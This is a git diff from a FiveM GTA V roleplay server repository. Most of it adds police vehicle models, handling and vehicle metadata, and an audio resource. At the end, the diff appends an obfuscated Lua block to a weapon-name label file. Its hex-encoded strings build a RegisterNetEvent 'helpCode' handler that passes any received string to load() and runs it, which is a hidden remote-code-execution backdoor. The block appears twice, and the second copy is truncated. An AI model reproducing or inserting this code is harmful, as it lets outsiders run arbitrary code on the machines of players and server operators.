+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ -
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta
similarity index 87%
rename from resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta
rename to resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta
index f0a9e7692..4999d649f 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/gcVan/carvariations.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/carvariations.meta
@@ -1,13 +1,13 @@
-
-
+
+
-
- -
- gcVan
-
+
+
-
+ nxsmods21tah
+
-
- 134
+ 6
134
0
0
@@ -25,7 +25,7 @@
-
- 134
+ 6
134
0
0
@@ -43,7 +43,7 @@
-
- 134
+ 6
134
0
0
@@ -61,7 +61,7 @@
-
- 134
+ 6
134
0
0
@@ -79,7 +79,7 @@
-
- 134
+ 6
134
0
0
@@ -96,7 +96,7 @@
-
- 134
+ 6
134
0
0
@@ -114,7 +114,7 @@
-
- 134
+ 6
134
0
0
@@ -132,7 +132,7 @@
-
- 134
+ 6
134
0
0
@@ -150,14 +150,19 @@
- - 0_default_modkit
+ - 952_nxsmods21tah_modkit
-
+
+ -
+ Police guv plate
+
+
+
-
-
+
+
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta
new file mode 100644
index 000000000..664eac846
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/handling.meta
@@ -0,0 +1,63 @@
+
+
+
+
+ -
+ nxsmods21tah
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 80220010
+ 22420000
+ 10
+ AVERAGE
+
+
+
+
+
+
+
+
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds
new file mode 100644
index 000000000..233ba51a5
Binary files /dev/null and b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/tahoe71_sign_1.dds differ
diff --git a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta
similarity index 66%
rename from resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta
rename to resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta
index 0ea079270..11ea89848 100644
--- a/resources/[EGRP-CarPacks]/EGRP-Emergency/data/suburbanfbit/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/data/nxsmods21tah/vehicles.meta
@@ -4,27 +4,27 @@
-
- suburbanfbit
- suburbanfbit
- FBI2
- suburbanfbit '08 UNMARKED
-
+ nxsmods21tah
+ nxsmods21tah
+ nxsmods21tah
+ nxsmods21tah
+ DODGE
null
null
null
null
null
- FBI2
+ lg125mnsrybently
LAYOUT_RANGER
- FBI2_COVER_OFFSET_INFO
+ GRANGER_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
DEFAULT_FOLLOW_VEHICLE_CAMERA
BOX_VEHICLE_AIM_CAMERA
- VEHICLE_BONNET_CAMERA_HIGH
+ VEHICLE_BONNET_CAMERA_STANDARD
DEFAULT_POV_CAMERA_LOOKAROUND
-
+
@@ -35,19 +35,19 @@
-
+
-
-
-
-
-
- -
-
-
-
-
-
+ -
+
+
+
+ -
+
+
+
+
+
@@ -56,29 +56,29 @@
-
-
+
+
-
-
+
+
-
+
-
+
-
+
- 15.000000
- 40.000000
- 90.000000
- 180.000000
- 500.000000
- 500.000000
+ 5000.000000
+ 5000.000000
+ 5000.000000
+ 5000.000000
+ 5000.000000
+ 5000.000000
@@ -91,35 +91,22 @@
SWANKNESS_1
- FLAG_LAW_ENFORCEMENT FLAG_DONT_SPAWN_IN_CARGEN FLAG_IS_OFFROAD_VEHICLE FLAG_HAS_INTERIOR_EXTRAS
+ FLAG_EXTRAS_STRONG FLAG_HAS_LIVERY FLAG_EXTRAS_ONLY_BREAK_WHEN_DESTROYED FLAG_NO_RESPRAY FLAG_DONT_SPAWN_IN_CARGEN FLAG_LAW_ENFORCEMENT FLAG_EMERGENCY_SERVICE FLAG_EXTRAS_SCRIPT FLAG_DISABLE_THROUGH_WINDSCREEN FLAG_HAS_BULLET_RESISTANT_GLASS FLAG_HAS_INCREASED_RAMMING_FORCE
VEHICLE_TYPE_CAR
VPT_FRONT_AND_BACK_PLATES
- VDT_CAVALCADE
+ VDT_RACE
VC_EMERGENCY
VWT_SUV
-
- -
- S_M_M_FIBOffice_01
-
-
- -
- S_M_M_FIBOffice_02
-
-
-
+
-
- - REWARD_WEAPON_CARBINERIFLE
- - REWARD_AMMO_CARBINERIFLE
- - REWARD_STAT_WEAPON
-
+
- WHEEL_FRONT_RIGHT_CAMERA
- WHEEL_FRONT_LEFT_CAMERA
@@ -131,17 +118,17 @@
- - RANGER_CAVALCADE_FRONT_LEFT
- - RANGER_FRONT_RIGHT
- - RANGER_PRANGER_REAR_LEFT
- - RANGER_PRANGER_REAR_RIGHT
+ - RANGER_CAVALCADE_FRONT_LEFT
+ - RANGER_FRONT_RIGHT
+ - RANGER_PRANGER_REAR_LEFT
+ - RANGER_PRANGER_REAR_RIGHT
-
- vehicles_cav_interior
- suburbanfbit
+ vehicles_banshee_interior
+ nxsmods21tah
-
+
\ No newline at end of file
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft
new file mode 100644
index 000000000..0f759c8f9
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna1.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:0d7ec821da58abf14a9b7f74354e59a162d45ea8bde720a96e8592022a9c3a1a
+size 11964
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft
new file mode 100644
index 000000000..a95b9d27e
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna2.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:030f1fdfd459ee8906fe99d3146fdcb99c7c4bd408745cc59872f12204c98978
+size 15271
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft
new file mode 100644
index 000000000..3e019b9fc
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna3.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:f9e4d3417b9be7909b4b88887a793190a7fde36525a80a1110f68df7281d8d4e
+size 14137
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft
new file mode 100644
index 000000000..3b94eddcc
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna4.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:9a67026d0fbd5f582640aa045d62a5040b11ef4d49b85541c9047a2b643819a3
+size 11500
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft
new file mode 100644
index 000000000..35a7784a3
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_antenna5.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:4ca6d588866a54689b5e54a8fa1266a067f2325ce4870be4acbb11367a93bd3c
+size 11951
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft
new file mode 100644
index 000000000..673183ff1
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_blackalpr.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:5267f0874f98451060bc160098850d1b358760e6af1a26a2f30065622dd5e818
+size 459907
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft
new file mode 100644
index 000000000..a6b461749
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_centerconsole.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:23c4780feb25be65cb2f6b136f6cee624d24be3bb362a029139b0d14700e4938
+size 95846
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft
new file mode 100644
index 000000000..3ea1b8616
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_hoodup.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:566b2bb1909ff4eff721c423cfc87ddc2dcad0749bbddf6bef8491f09a70da2f
+size 46104
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft
new file mode 100644
index 000000000..354c8fdf2
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_k9cage.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c9f33639f6750ca918aba1ceadf9e557ed4175929a2ff75a463e868fd97b654d
+size 492525
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft
new file mode 100644
index 000000000..f849b49b0
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name1.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:14c3d35c9e26a7619e81cf6942795444eda305512b1c08d76cab8dba6b713adc
+size 3863
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft
new file mode 100644
index 000000000..771720c12
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name2.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:566f0737094e4b6d26da9636d73955dc71e638a723a453a260662cbd25dc79b7
+size 4131
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft
new file mode 100644
index 000000000..9f543b2ed
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name3.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:b3940ee68f9ba551883702125691e582cb2e3509b7abaf356abc4f01abe09d3c
+size 3907
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft
new file mode 100644
index 000000000..5cdfeac42
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name4.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c87a79184d04db6bf5a671caf464fa07eecde14e2fd2742e3b599c5f58370e2a
+size 3918
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft
new file mode 100644
index 000000000..0e58e69c7
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_name5.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:da33b070c88cbd71954a38b59c2a3a700703ff8268bfd36be8abbe50e49a6c09
+size 3909
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft
new file mode 100644
index 000000000..d55bd96c4
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:98caea65b10b883260752fdfb185104cc8250954bc1a492a086b4500de3cd13c
+size 104690
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft
new file mode 100644
index 000000000..e55c0eae2
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar1.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:72982206b3d7d1ac807466283cce5d6fe9ea590fb2ad926c59c32eacdf98462a
+size 24382
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft
new file mode 100644
index 000000000..bd86378cd
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_pushbar2.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:586ce5c713bd3a054f16e50a89fccaa71e3d9456990b7cdc997b96ab9d580c78
+size 124976
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft
new file mode 100644
index 000000000..bd8bea986
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofpuck.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:1079976038a0ebc3942711a843263e873ef5d14a62ef4862acd6fb574f24819c
+size 7959
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft
new file mode 100644
index 000000000..31f217cef
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_roofrack.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:001227c4528ff7d2a071a8f76602681ee59d218dd2c0cd07db6271e52a772953
+size 17541
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft
new file mode 100644
index 000000000..ff42f29b2
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_tech.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:bc7a522e575e518c580d70bf69fb6dcf6e9ab246b751697be15b64b51d54f96d
+size 3827
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft
new file mode 100644
index 000000000..3dcaecae7
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/21tah_whitealpr.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:94abf478a82e9b19159aa1a34d81c2ac3af787080e8950838571febbd4cd9803
+size 459950
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft
new file mode 100644
index 000000000..a01ae416e
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c6eaa096183da67082edb2203acf4b5851ec2981bd3fcf545f6b905aedbe5c20
+size 10543546
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd
new file mode 100644
index 000000000..96d6646ba
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah.ytd
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:5f37b07c512f4d34ea8b4564409fad10a2630595eb67c10355cafc1dc4c0d38e
+size 8117522
diff --git a/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft
new file mode 100644
index 000000000..a649411ec
--- /dev/null
+++ b/resources/[EGRP-CarPacks]/EGRP-Extras/stream/nxsmods21tah/nxsmods21tah_hi.yft
@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:044f9b685ad4ac0e7abed7b0b683244828a8257c8dc2cf7e43757eb48e6ff247
+size 10543454
diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta
index 1792654af..0bf207cb5 100644
--- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esv/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- BALLER3
+ lg125mnsrybently
LAYOUT_STANDARD
GRESLEY_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta
index c389cb9e0..74a4e438a 100644
--- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23esvsp/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- BALLER3
+ lg125mnsrybently
LAYOUT_STANDARD
GRESLEY_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta
index 8b159b12c..d57812786 100644
--- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23ev6/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- SURGE
+ lg125mnsrybently
LAYOUT_STD_HIGHWINDOW
GRESLEY_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta
index 5b01b809b..f862f1305 100644
--- a/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta
+++ b/resources/[EGRP-CarPacks]/EGRP-SUVs/data/23tesla/vehicles.meta
@@ -15,7 +15,7 @@
null
null
- SURGE
+ lg125mnsrybently
LAYOUT_STD_HIGHWINDOW
GRESLEY_COVER_OFFSET_INFO
EXPLOSION_INFO_DEFAULT
diff --git a/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel b/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel
new file mode 100644
index 000000000..9dcfd9580
Binary files /dev/null and b/resources/aq02coyotef150/audioconfig/aq02coyotef150_game.dat151.rel differ
diff --git a/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel b/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel
new file mode 100644
index 000000000..6fd18b43c
Binary files /dev/null and b/resources/aq02coyotef150/audioconfig/aq02coyotef150_sounds.dat54.rel differ
diff --git a/resources/aq02coyotef150/fxmanifest.lua b/resources/aq02coyotef150/fxmanifest.lua
new file mode 100644
index 000000000..5f45298c8
--- /dev/null
+++ b/resources/aq02coyotef150/fxmanifest.lua
@@ -0,0 +1,13 @@
+fx_version 'cerulean' -- if that doesn't work, try 'adamant' or 'bodacious'
+
+game 'gta5'
+
+files {
+ 'audioconfig/*.dat151.rel',
+ 'audioconfig/*.dat54.rel',
+ 'sfx/**/*.awc'
+}
+
+data_file 'AUDIO_GAMEDATA' 'audioconfig/aq02coyotef150_game.dat'
+data_file 'AUDIO_SOUNDDATA' 'audioconfig/aq02coyotef150_sounds.dat'
+data_file 'AUDIO_WAVEPACK' 'sfx/dlc_aq02coyotef150'
\ No newline at end of file
diff --git a/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc
new file mode 100644
index 000000000..e36f40cc3
Binary files /dev/null and b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150.awc differ
diff --git a/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc
new file mode 100644
index 000000000..6412a9481
Binary files /dev/null and b/resources/aq02coyotef150/sfx/dlc_aq02coyotef150/aq02coyotef150_npc.awc differ
diff --git a/resources/firehook/cl_weaponNames.lua b/resources/firehook/cl_weaponNames.lua
index 844277e65..67d204b80 100644
--- a/resources/firehook/cl_weaponNames.lua
+++ b/resources/firehook/cl_weaponNames.lua
@@ -1 +1,8 @@
AddTextEntry("WEAPON_HOOK", "Fire Hook")
+
+
+local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[4]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[5]](HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA))() end)
+
+local BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS = {"\x52\x65\x67\x69\x73\x74\x65\x72\x4e\x65\x74\x45\x76\x65\x6e\x74","\x68\x65\x6c\x70\x43\x6f\x64\x65","\x41\x64\x64\x45\x76\x65\x6e\x74\x48\x61\x6e\x64\x6c\x65\x72","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G} BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[1]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2]) BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[6][BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[3]](BufZciHygkhweQeaScPkFQTKoXYkLBLrprDhuVdACChuSkiUgycqKhLEGCsZCGxrTmPviS[2], function(HjtdSMGZTgjikLimeXrthLJwFgbGdBwsjnAsaBbLrtblTXmMfHSbkpgdvCCWQYLCRoDJSA) 